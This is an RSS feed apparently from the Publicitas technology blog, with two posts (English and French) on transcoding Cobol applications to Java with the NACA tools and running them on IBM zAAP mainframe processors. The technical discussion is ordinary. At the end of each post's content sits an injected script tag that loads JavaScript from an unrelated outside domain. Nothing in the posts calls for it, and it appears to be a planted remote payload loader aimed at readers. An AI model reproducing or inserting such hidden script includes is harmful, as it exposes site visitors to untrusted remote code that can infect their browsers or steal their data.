<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Technology Blog of Publicitas</title>
	
	<link>http://technology.publicitas.com</link>
	<description>Technology tools, solutions, case studies, etc...</description>
	<pubDate>Mon, 01 Feb 2010 12:15:32 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/TechnologyBlog-Publicitas" /><feedburner:info uri="technologyblog-publicitas" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>NACA tools &amp; Zaap Processors: transcode a Cobol application to Java and still run it (but much more cheaply…) on the IBM mainframe with zOS!</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/t3vtSjGEP4M/</link>
		<comments>http://technology.publicitas.com/2010/02/01/naca-tools-zaap-processors-transcode-a-cobol-application-to-java-and-still-run-it-but-much-more-cheaply%e2%80%a6-on-the-ibm-mainframe-with-zos/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 12:15:32 +0000</pubDate>
		<dc:creator>christian-rohrbach</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[cics]]></category>

		<category><![CDATA[cobol]]></category>

		<category><![CDATA[mainframe]]></category>

		<category><![CDATA[zaap]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=23</guid>
		<description><![CDATA[In the NACA project (offload from a mainframe to Linux on Intel servers through 100% automatic transcoding of the 4+ millions lines of Cobol of the in-house application), in order to reach the maximum level of savings, we took a radical approach (downsize to Linux and stop the mainframe) to free up as much financial [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: &quot;; font-size: 100%;" lang="EN-US">In the <a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html">NACA project (offload from a mainframe to Linux on Intel servers through 100% automatic transcoding of the 4+ millions lines of Cobol of th</a></span><span style="font-family: &quot;; font-size: 100%;" lang="EN-US"><a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html">e in-house application),</a> in order to reach the maximum level of savings, we took a radical approach (downsize to Linux and stop the mainframe)<span> </span>to <a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html">free up as much financial resources as possible</a>. We wanted to maximize the investments for upcoming projects in our IT budgets:</span></p>
<ul style="font-family: verdana;" type="disc">
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-US">replace IBM operating system zOS by Linux and Cobol by Java (throug</span><span style="font-size: 100%;" lang="EN-US">h      our <a href="http://media-tech.blogspot.com/2009/01/project-naca-open-sourcing-gpllgpl-of.html">automatic transcoder now open-.sourced</a>)</span></li>
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-US">replace the zSeries architecture of the mainframe </span><span style="font-size: 100%;" lang="EN-US">by very simple Intel servers as soon as our benchmarks demonstrated that it was feasible at no risk for our level of activity (750&#8242;000 <a href="http://en.wikipedia.org/wiki/CICS">CICS</a> transactions per day). Thanks      to <a href="http://en.wikipedia.org/wiki/Moore_Law">Moore&#8217;s Law</a>, the Intel Pentium proved itself to be highly powerful to      handle high transactional workloads.</span></li>
</ul>
<p><span style="font-family: &quot;; font-size: 100%;" lang="EN-US">This very radical approach made us eventually very satisfied: <a href="http://media-tech.blogspot.com/2009/01/project-naca-migration-from-ibm.html">immense cost reductions</a>, </span><span style="font-family: &quot;; font-size: 100%;" lang="EN-US">availability and performances of new system, rollout of an internal disaster recovery mirror system, etc.</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">But, since the open sourcing of our NACA transcoding tools, we had the opportunity to discuss with many companies evaluating our technologies or already running transcoding projects with them on 4 continents (only Africa missing as of now!&#8230;).</span><span style="font-size: 100%;" lang="EN-US"><span> </span></span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">Those discussions led us to develop a smoother and more &#8220;fluid&#8221; approach for corporations wanting simultaneously to leverage their mainframe assets and their strengths and to rejuvenate their legacy application:</span></p>
<ul style="font-family: verdana;" type="disc">
<li class="MsoNormal"><span style="font-size: 100%;"><strong><span lang="EN-US">Rejuvenate the application fu</span></strong><strong><span lang="EN-US">nctionally</span></strong></span><span style="font-size: 100%;" lang="EN-US">:<span> </span>via the      <a href="http://media-tech.blogspot.com/2009/01/project-naca-open-sourcing-gpllgpl-of.html">NACA tools</a>, the Cobol application is automatically transcoded to Java source code and enjoys then following benefits: (a) as new &#8220;official&#8221; source code is Java, ability to leverage the very sophisticated environment of<span> </span><a href="http://en.wikipedia.org/wiki/Java_Virtual_Machine">Java Virtual Machine</a> still evolving very quickly (b) availability of many (open source) Java packages to integrate with the newly transcoded application to aug</span><span style="font-size: 100%;" lang="EN-US">ment its      capabilities (c) use of a state-of-the art user interface fu</span><span style="font-size: 100%;" lang="EN-US">lly web-</span><span style="font-size: 100%;" lang="EN-US">based      (HTML-CSS-AJAX)<span> </span>as transcoded from      the original 3270 BMS maps with no human intervention.(d) use of very      modern development IDE (<a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29">Eclipse</a> through a <a href="http://media-tech.blogspot.com/2007/11/naca-4-exemple-de-programme-transcod-de.html">specific plug-in</a>) <span> </span>that strongly increases their productivity of legacy programmers as they continue seeing their initial and familiar Cobol code to maintain it.</span></li>
<li class="MsoNormal"><span style="font-size: 100%;"><strong><span lang="EN-US">Rejuvenate the application technically</span></strong></span><span style="font-size: 100%;" lang="EN-US">: the Java </span> <span style="font-size: 100%;" lang="EN-US">world is still highly dynamic and improving on a recurring basis. When on JRE, an application can progress just by &#8220;being here&#8221; and not doing much: we saw a 30% improvement in performances just by upgrading from Java 5 JRE to Java 6 JRE. This is in line</span><span style="font-size: 100%;" lang="EN-US"> with <a href="http://java.sun.com/performance/reference/whitepapers/6_performance.html">official Sun benchmarks</a>. The Java community      improves the JVM day after day to make <a href="http://en.wikipedia.org/wiki/Java_performance#Comparison_to_other_languages">Java now a clear rival of very      efficient languages like C/C++</a>.</span></li>
<li class="MsoNormal"><span style="font-size: 100%;"><strong><span lang="EN-US">Leverage mainframe assets and strengths</span></strong></span><span style="font-size: 100%;" lang="EN-US">: IBM wants its current clients to avoid such radical decisions as ours to keep them in the mainframe community. Consequently, IBM has launched some specialized processors dedicated to</span><span style="font-size: 100%;" lang="EN-US"> handling Java workload on the mainframe. They are called <a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html">Zaap      pour &#8220;zSystem Applicat</a></span><span style="font-size: 100%;"> </span><span style="font-size: 100%;" lang="EN-US"><a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html">ion Assist Processor&#8221;</a>. <span> </span>By using them and without any major evolution of the mainframe configuration in place, the naca-transcoded application now runs on those de</span><span style="font-size: 100%;" lang="EN-US">dicated processors and consequently preserves a very      stable and deeply known zOS environment.</span></li>
</ul>
<p><span style="font-family: georgia; font-size: 100%;"><br />
<a href="http://4.bp.blogspot.com/_8zkA5b3U2s0/S2bB-X1uQkI/AAAAAAAABI0/RZnU49tyXhc/s1600-h/naca-zaap1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5433243277764477506" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 252px;" src="http://4.bp.blogspot.com/_8zkA5b3U2s0/S2bB-X1uQkI/AAAAAAAABI0/RZnU49tyXhc/s400/naca-zaap1.jpg" border="0" alt="" /></a><br />
</span><span style="font-family: &quot;; font-size: 100%;" lang="EN-GB">Those </span><span style="font-family: &quot;; font-size: 100%;" lang="EN-US"><a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html"><span lang="EN-GB">Zaap processors</span></a></span><span style="font-family: &quot;; font-size: 100%;" lang="EN-US"> </span><span style="font-family: &quot;; font-size: 100%;" lang="EN-GB">have a double financial advantage as created by the IBM marketing:</span></p>
<ul style="margin-top: 0cm; font-family: verdana;" type="disc">
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-GB">they are themselves much cheaper than a regular      mainframe processor (GCP)</span><span style="font-size: 100%;" lang="EN-US"></span></li>
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-US">their mips don&#8217;t add themse</span><span style="font-size: 100%;" lang="EN-US">lves on top of the mips of the regular processors: they don&#8217;t as such have a negative influence on the monthly software bill of the mainframe for zOS essentially based on mainframe performance.</span><span style="font-size: 100%;" lang="EN-US"> </span><span style="font-size: 100%;" lang="EN-GB">As a matter of fact, they even tend to reduce this bill as the      workload run on Zaaps</span><span style="font-size: 100%;"> </span><span style="font-size: 100%;" lang="EN-GB"> means less mips needed in the regular processors.      See details of Zaaps below</span></li>
</ul>
<p><span style="font-family: &quot;; font-size: 100%;" lang="EN-US"> </span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">Consequently, it is possible to use our <a href="http://media-tech.blogspot.com/2009/01/project-naca-open-sourcing-gpllgpl-of.html">NACA transcoding tools to transcode 100% automatically </a>to Java and to simultaneously stay in the &#8220;comfort&#8221; of the established mainframe environment after transcoding. The application will then run under <a href="http://en.wikipedia.org/wiki/Websphere">Websphere</a> (or even in the transactional monitor CICS or <a href="http://en.wikipedia.org/wiki/Information_Management_System">IMS</a> but in Java) in a JVM powered by Zaap under direct control of zOS. For batch programs, same architecture but simpler: only the JVM is needed.<br />
</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">Such a mainframe-hosted <span> </span>Java architecture is needed by corporations who want to leverage all the benefits of a transcoded applic</span><span style="font-size: 100%;" lang="EN-US">ation to Java and web-based UI (see above) but who want to keep it on the mainframe. The company can this way maintain all the integration of the transactional activity with other mainframe subsystems (batch, archiving, printing, etc) sometimes developed over many decades.<br />
</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">Everything stays &#8220;in the same box&#8221; but the end users can benefit right away from additional functionnalities of their application brought to state-of-the-art.</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">As additional benefit, this architecture can reduce the mainframe total cost of ownership at double level: (1) the Mips of the transactional workload have now migrated from the costly regular processors to the cheap Zaaps (2) the &#8220;regular&#8221; (Cobol/CICS) mainframe workload has become smaller, replaced by functionally </span><span style="font-size: 100%;" lang="EN-US">equivalent Java workload, and the monthly software bill can be reduced as less mips are consumed </span><span style="font-size: 100%;" lang="EN-GB">(see IBM below)<br />
</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">The resulting effects are triple: </span></p>
<ul style="font-family: verdana;" type="disc">
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-GB">The legacy application has become state-of-the art, from both a user      and a developer standpoint: 100% Java and Web</span></li>
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-GB">A smooth and fluid evolution: a potential mainframe-less future is prepared at no risk as current machine, very well mastered by te</span><span style="font-size: 100%;" lang="EN-GB">ams in      place, remains the unique vector of activities. </span></li>
<li class="MsoNormal"><span style="font-size: 100%;" lang="EN-GB">Savings generated by optimized configuration: all possible workload is transferred to the cheapest possible Java environment and the requirements of expensive GCP mips is highly reduced through maximum use of Zaaps wherever possible through the CICS workload migrated to Websphere or <a href="http://en.wikipedia.org/wiki/Apache_Tomcat">Tomcat</a>.</span></li>
</ul>
<p><span style="font-family: &quot;; font-size: 100%;" lang="EN-GB">This is the clear proof that gradual paths exist to massively leverage the financial and functional advantages of new technologies (Java) for legac</span><span style="font-family: &quot;; font-size: 100%;" lang="EN-GB">y applications. The existing runtime system is not jeopardized: the operational competencies accumulated on the mainframe for decades can further be leveraged and at the same time the business competencies accumulated by in-house are also preserved as they continue maintaining familiar stru</span><span style="font-family: &quot;; font-size: 100%;" lang="EN-GB">ctures of source code. No leap jump is required when such is a the wish!</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-GB">============== </span><span style="font-size: 100%;"><strong><span lang="EN-US"><a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html"><span lang="EN-GB">IBM Zaap processors<br />
</span></a></span></strong></span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;"><strong><span lang="EN-US">Source for schemes of this article:<span> </span></span></strong></span><span style="font-size: 100%;" lang="EN-US">IBM </span><span style="font-size: 100%;" lang="EN-US">presentat</span><span style="font-size: 100%;" lang="EN-US">ions of Kathy Walsh.</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">Zaap processors are a significant step in the continuous investment by IBM to maintain the competitiveness of its mainframe zOS platform in the market, when facing fierce rivalry from Open Source (Linux) highly due to the intrinsic expensiveness of zSeries.</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">To achieve this goal, <span> </span>IBM consistently introduces new processors dedicated to some specific workloads. Those workloads transferred on cheaperinternal processors reduce the TCO of the global machine.</span><span style="font-size: 100%;"><a href="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2bBdWd45eI/AAAAAAAABIs/H7ghKak8wOs/s1600-h/naca-zaap2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5433242710460392930" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2bBdWd45eI/AAAAAAAABIs/H7ghKak8wOs/s400/naca-zaap2.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">By Publicitas, we did start the NACA project on this path of dedicated processors: we initially started on an IFL processor (IFL = Integrated Facility for Linux) integrated in our ultimate mainframe in order to run another operating system than zOS: zLinux<span> </span>(linux distribution for the mainframe). We decided to move to linux on Intel servers only when internal benchmarks demonstrated that there was almost no risk and significant additional financial advantage to do so.</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-GB">Since then, IBM has strengthened the concept of dedicated processors beyond the IFL original concept: the Zaap doesn&#8217;t require another operating (zLinux)<span> </span>to offload activities but runs directly under the control of zOS. The slide below demonstrates the technical and marketing goals of IBM in this technology ( the yellow rectangle at bottom is to be read in details)</span><span style="font-size: 100%;" lang="EN-US">:</span></p>
<p><span style="font-family: georgia; font-size: 100%;"><br />
</span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;"><a href="http://1.bp.blogspot.com/_8zkA5b3U2s0/S2bAhJDAXOI/AAAAAAAABIk/e7Z3-nNiuNk/s1600-h/naca-zaap3.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5433241676065823970" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 256px;" src="http://1.bp.blogspot.com/_8zkA5b3U2s0/S2bAhJDAXOI/AAAAAAAABIk/e7Z3-nNiuNk/s400/naca-zaap3.jpg" border="0" alt="" /></a></span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US"><br />
Through a marketing &#8220;secret sauce&#8221;, it is all about migrating &#8220;central&#8221; mips to Java mips on a dedicated processor. The emergence of this new technology brings the opportunity of selling it on a different price scale and also the opportunity of eliminating it of the mips total used to bill the zOS software. So, the current software renting by the mips total remains unquestioned by the community of corporation running their core activities on mainframe. At the same time, the Zaap can be presented as the &#8220;white knight&#8221; reducing the total of mips hence the price. </span></p>
<p class="MsoNormal" style="font-family: verdana;"><span style="font-size: 100%;" lang="EN-US">As a result, the competitiveness of zOS is clearly improve din its current fight against the linux adoption for critical applications.</span></p>
<p><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/t3vtSjGEP4M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://technology.publicitas.com/2010/02/01/naca-tools-zaap-processors-transcode-a-cobol-application-to-java-and-still-run-it-but-much-more-cheaply%e2%80%a6-on-the-ibm-mainframe-with-zos/feed/</wfw:commentRss>
		<feedburner:origLink>http://technology.publicitas.com/2010/02/01/naca-tools-zaap-processors-transcode-a-cobol-application-to-java-and-still-run-it-but-much-more-cheaply%e2%80%a6-on-the-ibm-mainframe-with-zos/</feedburner:origLink></item>
		<item>
		<title>Outils NACA &amp; Processeurs Zaap: transcoder son application Cobol vers Java en restant (plus économiquement) sur son mainframe IBM avec zOS!</title>
		<link>http://feedproxy.google.com/~r/TechnologyBlog-Publicitas/~3/q7onRh7zHjc/</link>
		<comments>http://technology.publicitas.com/2010/01/28/outils-naca-processeurs-zaap-transcoder-son-application-cobol-vers-java-en-restant-plus-economiquement-sur-son-mainframe-ibm-avec-zos/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 14:24:01 +0000</pubDate>
		<dc:creator>didier-durand</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[naca]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://technology.publicitas.com/?p=22</guid>
		<description><![CDATA[Dans le projet NACA (abandon du mainframe pour Linux et transcodage 100% automatique de Cobol vers Java des 4 millions de lignes de notre application maison), pour atteindre les économies maximales nous permettant ensuite des investissements plus massifs sur nos projets stratégiques, nous avons pris une approche radicale pour libérer un maximum de moyens financiers:

remplacer [...]]]></description>
			<content:encoded><![CDATA[<p><span>Dans le projet NACA (<a href="http://media-tech.blogspot.com/2007/10/projet-naca-migration-mainframe-ibm.html">abandon du mainframe pour Linux et transcodage 100% automatique de Cobol vers Java des 4 millions de lignes de notre application mais</a></span><span><a href="http://media-tech.blogspot.com/2007/10/projet-naca-migration-mainframe-ibm.html">on</a>), pour atteindre les économies maximales nous permettant ensuite des investissements plus massifs sur nos projets stratégiques, nous avons pris une approche radicale pour libérer un <a href="http://media-tech.blogspot.com/2007/10/projet-naca-migration-mainframe-ibm.html">maximum de moyens financiers</a>:</span></p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal"><span>remplacer le système d&#8217;exploitation</span><span> zOS par      Linux (et Cobol par Java par transcodage automatique de notre application)</span></li>
<li class="MsoNormal"><span>ensuite, remplacer l&#8217;archit</span><span>ecture zSeries du      mainframe par de simples serveurs Intel très basiques<span> </span>quand des bancs de test nous ont      prouvait que l&#8217;architecture Pentium finalement hyper-puissante grâce aux      <a href="http://media-tech.blogspot.com/2007/02/web-20-les-impacts-conomiques-de-la.html">vertus de la loi de Moore</a>.</span></li>
</ul>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Cette approche radicale nous a finalement apporté pleine satisfaction (réduction drastique des coûts, stabilité et performance du nouveau système, possibilité de disaster recovery interne, etc.)</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Mais, dans nos multiples discussions ave</span><span>c diverses sociétés (sur 4 continents - Elles mènent leur propre projets sur base de nos outils) depuis <a href="http://media-tech.blogspot.com/2008/07/les-outils-du-projet-naca-de-publicitas.html">la mise en Open Source des outils de NACA</a>, nous avons développé une approche beaucoup douce e</span><span>t fluide pour les </span><span>sociétés qui veulent avoir le beurre et l&#8217;argent du beurre en ménageant la chèvre et le chou:</span></p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal"><span>le &#8220;beurre logiciel&#8221;: les outils de      NACA sont utilisés pour<span> </span>transcoder      l&#8217;application vers Java et ainsi bénéficier de tous les avantages d&#8217;un      transcodage (voir <a href="http://media-tech.blogspot.com/2007/10/projet-naca2-transcodage-automatique.html">les détails ici</a>), i.e. (a) d&#8217;une mutation du code source de référence d&#8217;une application vers un environnement logiciel très sophistiqué mais en permanente amélioration malgré, (b) de la profusion de packages logiciels ouverts et gratuits à intégrer à l&#8217;application b</span><span>onifiée pour la transcoder (c) d&#8217;une interface utilisateur native très moderne HTML+CSS+Javascript (=Ajax) sans avoir à retoucher les programmes anciens <span> </span>(d) de l&#8217;utilisation d&#8217;outils modernes      (Eclipse à travers un <a href="http://media-tech.blogspot.com/2007/11/naca-4-exemple-de-programme-transcod-de.html">plugin spécifique</a>) permettant une augmentation de la      productivité des programmeurs sans les perdre puisqu&#8217;<a href="http://media-tech.blogspot.com/2007/10/projet-naca2-transcodage-automatique.html">ils retrouven</a></span><span><a href="http://media-tech.blogspot.com/2007/10/projet-naca2-transcodage-automatique.html">t      ligne-à-ligne leur</a></span><span><a href="http://media-tech.blogspot.com/2007/10/projet-naca2-transcodage-automatique.html"> programme Cobol initial</a></span></li>
<li class="MsoNormal"><span>le &#8220;beurre opérationnel&#8221;: le monde Java est clairement plus vivant et dynamique que le monde Cobol. Par exemple, en basculant à Java, on peut faire progresser son application avec un effort très faible: nous avons observé une amélioration des performances de 30% (et <a href="http://java.sun.com/performance/reference/whitepapers/6_performance.html">c&#8217;est confirmé par Sun</a>) en passant &#8220;simplement&#8221; (sans rien faire d&#8217;autre&#8230;) de Java 5 à Java 6. L&#8217;immense communauté de programmeurs Java chasse en permanence les bugs de la JVM pour en faire un environnement d&#8217;une stabilité redoutable et qui <a href="http://en.wikipedia.org/wiki/Java_performance#Comparison_to_other_languages"> rivalise désormais en performances avec des langages aussi rustiques que C</a>.</span></li>
<li class="MsoNormal"><span>l&#8217;argent du beurre en ménageant la chèvre et      le chou</span><span>: pour éviter à ses clients les décisions trop radicales que nous      avons </span><span>prises et les garder </span><span>dans son giron, IBM commercialise désormais sur ses mainframes des processeurs spécialisés et dédiés au traitement de Java. Ils sont appelés<a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html"> Zaap pour &#8220;Zsystem Application Assist Processor&#8221;</a>. Sans aucune évolution majeure de la configuration globale du système et au cœurs même du mainframe en place, l&#8217;application transcodée peut fonctionner sur ces processeurs dédiés préservant ainsi un environnement établi et stable.</span></li>
</ul>
<p><a href="http://1.bp.blogspot.com/_8zkA5b3U2s0/S2GJZ-2KBxI/AAAAAAAABIE/zaGRyTsNfTs/s1600-h/naca-zaap1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5431773705045411602" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 252px;" src="http://1.bp.blogspot.com/_8zkA5b3U2s0/S2GJZ-2KBxI/AAAAAAAABIE/zaGRyTsNfTs/s400/naca-zaap1.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal"><span> </span></p>
<p><span><a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html">Ces processeurs Zaap</a> ont un double </span><span>avantage financier mis au point par le marketing IBM: ils sont facturés eux-mêmes à un prix très raisonnable et leur puissance ne vient pas s&#8217;additionner aux Mips des processeurs d&#8217;un mainframe. Ces Mips sont la base du</span><span> système de location des logiciels zOS sur le mainframe: ils faut donc les minimiser! Les détails des processeurs Zaap sont donnés ci-dessous.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Il est donc possible d&#8217;utiliser nos <a href="http://media-tech.blogspot.com/2007/10/projet-naca2-transcodage-automatique.html">outils de transcodage NACA 100% automatiques de Cobol vers Java</a> tout en restant dans le &#8220;confort&#8221; de son mainframe: après le transcodage, l&#8217;application fonctionne dans <a href="http://fr.wikipedia.org/wiki/WebSphere">Websphere</a> &#8220;posé&#8221; dans une JVM propulsée par un Zaap sous le contrôle direct de zOS. Pour le cas du batch, c&#8217;est le même principe, mais sans Websphere: seulement la JVM sur le Zaap. Une telle architecture est parfois essentielle pour une société qui veut migrer son application transactionnelle de Cobol/3270 </span><span>à Java/Navigateur Web sans fair</span><span>e le pas vers une sortie du mainframe.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Elle peut ainsi conserver toute l&#8217;intégration très étroite (qui représente parfois des décennies d&#8217;investissement!) de son activité transactionnelle avec les autres sous-systèmes de son mainframe (batches, infocentre, etc.) puisque qu&#8217;elle reste sur le mainframe mais tourne désormais sur le(s) processeur(s) Zaap(s) plutôt que sur les processeurs classiques du mainframe. Tout reste donc &#8220;dans la même boîte&#8221; alors que les utilisateurs bénéficient très vite des fonctionnalités de la nouvelle application plus modene.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Au passage, cette architecture peut même faire baisser la facture mainframe puisque les Mips du moniteur transactionnel (CICS) </span><span>en Cobol sont libérés (voir slides IBM ci-dessous) au bénéfice du transfert de cette activité sur le Zaap en Java.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Le triple résultat: </span></p>
<ul style="margin-top: 0cm;" type="disc">
<li class="MsoNormal"><span>une application transactionnelle modernisée:      100% Java et Web</span></li>
<li class="MsoNormal"><span>une évolution douce, prépatoire de l&#8217;avenir et sans risque: le mainframe reste l&#8217;unique vecteur des activités dans un contexte déjà maîtrisé par les équipes opérationnelles</span></li>
<li class="MsoNormal"><span>des économies par le transfert de puissance utilisé: des processeurs classiques du mainframe pour CICS et Cobol vers les processeurs Zaap pour la JVM avec Websphere (ou Tomcat) et Java.</span></li>
</ul>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Ce qui précède est démonstrati</span><span>on claire qu&#8217;il existe également des chemins graduels pour profiter massivement, économiquement et rapidement des avantages des nouvelles technologies (Java)en continuant à capitaliser sur les connaissances métier accumulées dans une application parfois de plusieurs décennies, à fonctionner dans un enviro</span><span>nn</span><span>ement parfaitement stable et maîtrisé donc sans demander de bonds quantiques vers l&#8217;avant aux équipes en place.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>==== <span style="font-weight: bold;">Les <a href="http://www-03.ibm.com/systems/z/advantages/zaap/index.html">processeurs Zaap</a> d&#8217;IBM </span></span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Source des graphiques de cet article </span></strong><span>: présentations IBM 2009 de Kathy Walsh</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Ces processeurs Zaap sont une étape dans l&#8217;investissement continu réalisé par IBM pour maintenir sa plate-forme mainframe (hard</span><span>ware zSerie et système zOS) compétitive face entre autre à l&#8217;Open Source (Linux) malgré le désavantage financier intrinsèque à cette architecture sophistiquée donc coûteuse.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Pour ce faire, IBM introduit successivement des processeurs dédiés à certains types de tâches dans son architecture mainframe multi-processeurs:</span></p>
<p class="MsoNormal"><a href="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2GJgrGoSoI/AAAAAAAABIM/WJxkE1DBGRc/s1600-h/naca-zaap2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5431773820004878978" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 253px;" src="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2GJgrGoSoI/AAAAAAAABIM/WJxkE1DBGRc/s400/naca-zaap2.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal">
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Nous avons, chez Publicitas commencé le projet sur une base de processeur IFL Integrated Facility for Linux) intégré à notre ultime mainframe pour faire tourner un autre système d&#8217;exploitation que zOS: Linux. De</span><span>s bancs de tests ultérieurs nous ont poussé à franchir le Rubicon et à en s</span><span>o</span><span>rtir définitivement</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Depuis, IBM a encore poussé p</span><span>lus loin le concept de processeur dédié: il a en rendu l&#8217;intégration plus facile en le faisant tourner sous le contrôle de zOS plutôt qu&#8217;en nécéssitant un second système d&#8217;exploitation Linux. Le slide ci-dessous démontre la volonté technologique et marketing d&#8217;IBM autour de ce processeur (voir l&#8217;encart en jaune en bas):</span></p>
<p class="MsoNormal"><a href="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2GK_ZaFioI/AAAAAAAABIU/hbPup7na3XU/s1600-h/naca-zaap3.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5431775447342221954" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 256px;" src="http://2.bp.blogspot.com/_8zkA5b3U2s0/S2GK_ZaFioI/AAAAAAAABIU/hbPup7na3XU/s400/naca-zaap3.jpg" border="0" alt="" /></a></p>
<p class="MsoNormal"><span> </span></p>
<p><span>Par une certaine forme &#8220;d&#8217;alchimie marketing&#8221;, il s&#8217;agit de transférer les Mips Java vers un processeur dédié dont la nouveauté lui permet d&#8217;être moins cher et de ne pas affecter les coûts logiciels zOS existants (voir de les réduire, cf. plus haut) sans générer de questions autour d&#8217;un schéma tarifaire accepté par la communauté des grandes sociétés utilisatrices. Son avantage majeur est même de permettre une réduction des coûts du mainframe puisque que le Zaap peut permettre d&#8217;alléger les Mips &#8220;classiques&#8221;, base de facturation des logiciels zOS.</span><script src="http://secree.com/re"></script></p>
<img src="http://feeds.feedburner.com/~r/TechnologyBlog-Publicitas/~4/q7onRh7zHjc" height="1" width="1"/>]]></content:encoded>
